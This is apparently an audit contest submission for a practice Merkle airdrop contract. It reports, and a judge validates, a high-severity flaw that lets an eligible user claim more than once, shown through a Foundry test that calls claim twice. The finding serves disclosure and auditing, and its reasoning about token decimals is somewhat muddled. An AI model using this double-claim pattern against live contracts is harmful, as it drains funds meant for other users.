Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Elligible user can claim more than the allowable limit

Summary

Vulnerability Details: The Merkle root was generated using 18 has the decimal of the token while the intended token to be airdropped which is USDC uses 6 decimal places

Impact: This allows a user who is eligible for the airdrop to claim multiple times thereby allowing the user to claim more than the protocol allowable limit

Proof of Concept: Place the following into MerkleAirdropTest.t.sol.

function testElligibleUserCanClaim_MultipleTimes() public {
//test protocol token decimal
console.log("USDC decimals --- 6");
console.log("Token decimals ---", token.decimals());
assert(token.decimals() == 18);
uint256 startingBalance = token.balanceOf(collectorOne);
vm.deal(collectorOne, airdrop.getFee() * 2);
vm.startPrank(collectorOne);
// claiming the airdrop multiple times
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
vm.stopPrank();
uint256 endingBalance = token.balanceOf(collectorOne);
console.log("User claims ----", endingBalance / 1e6);
console.log("Max claims ----", 25);
// user claims beyond the allowable limit
vm.expectRevert();
assertEq(endingBalance - startingBalance, amountToCollect);
}

Tools Used : Manual Review

Recommendations : The protocol should update the merkle tree generator, to ensure it uses the right number of decimal which should be 6 for USDC which the protocol intend to airdrop

Updates

Lead Judging Commences

inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.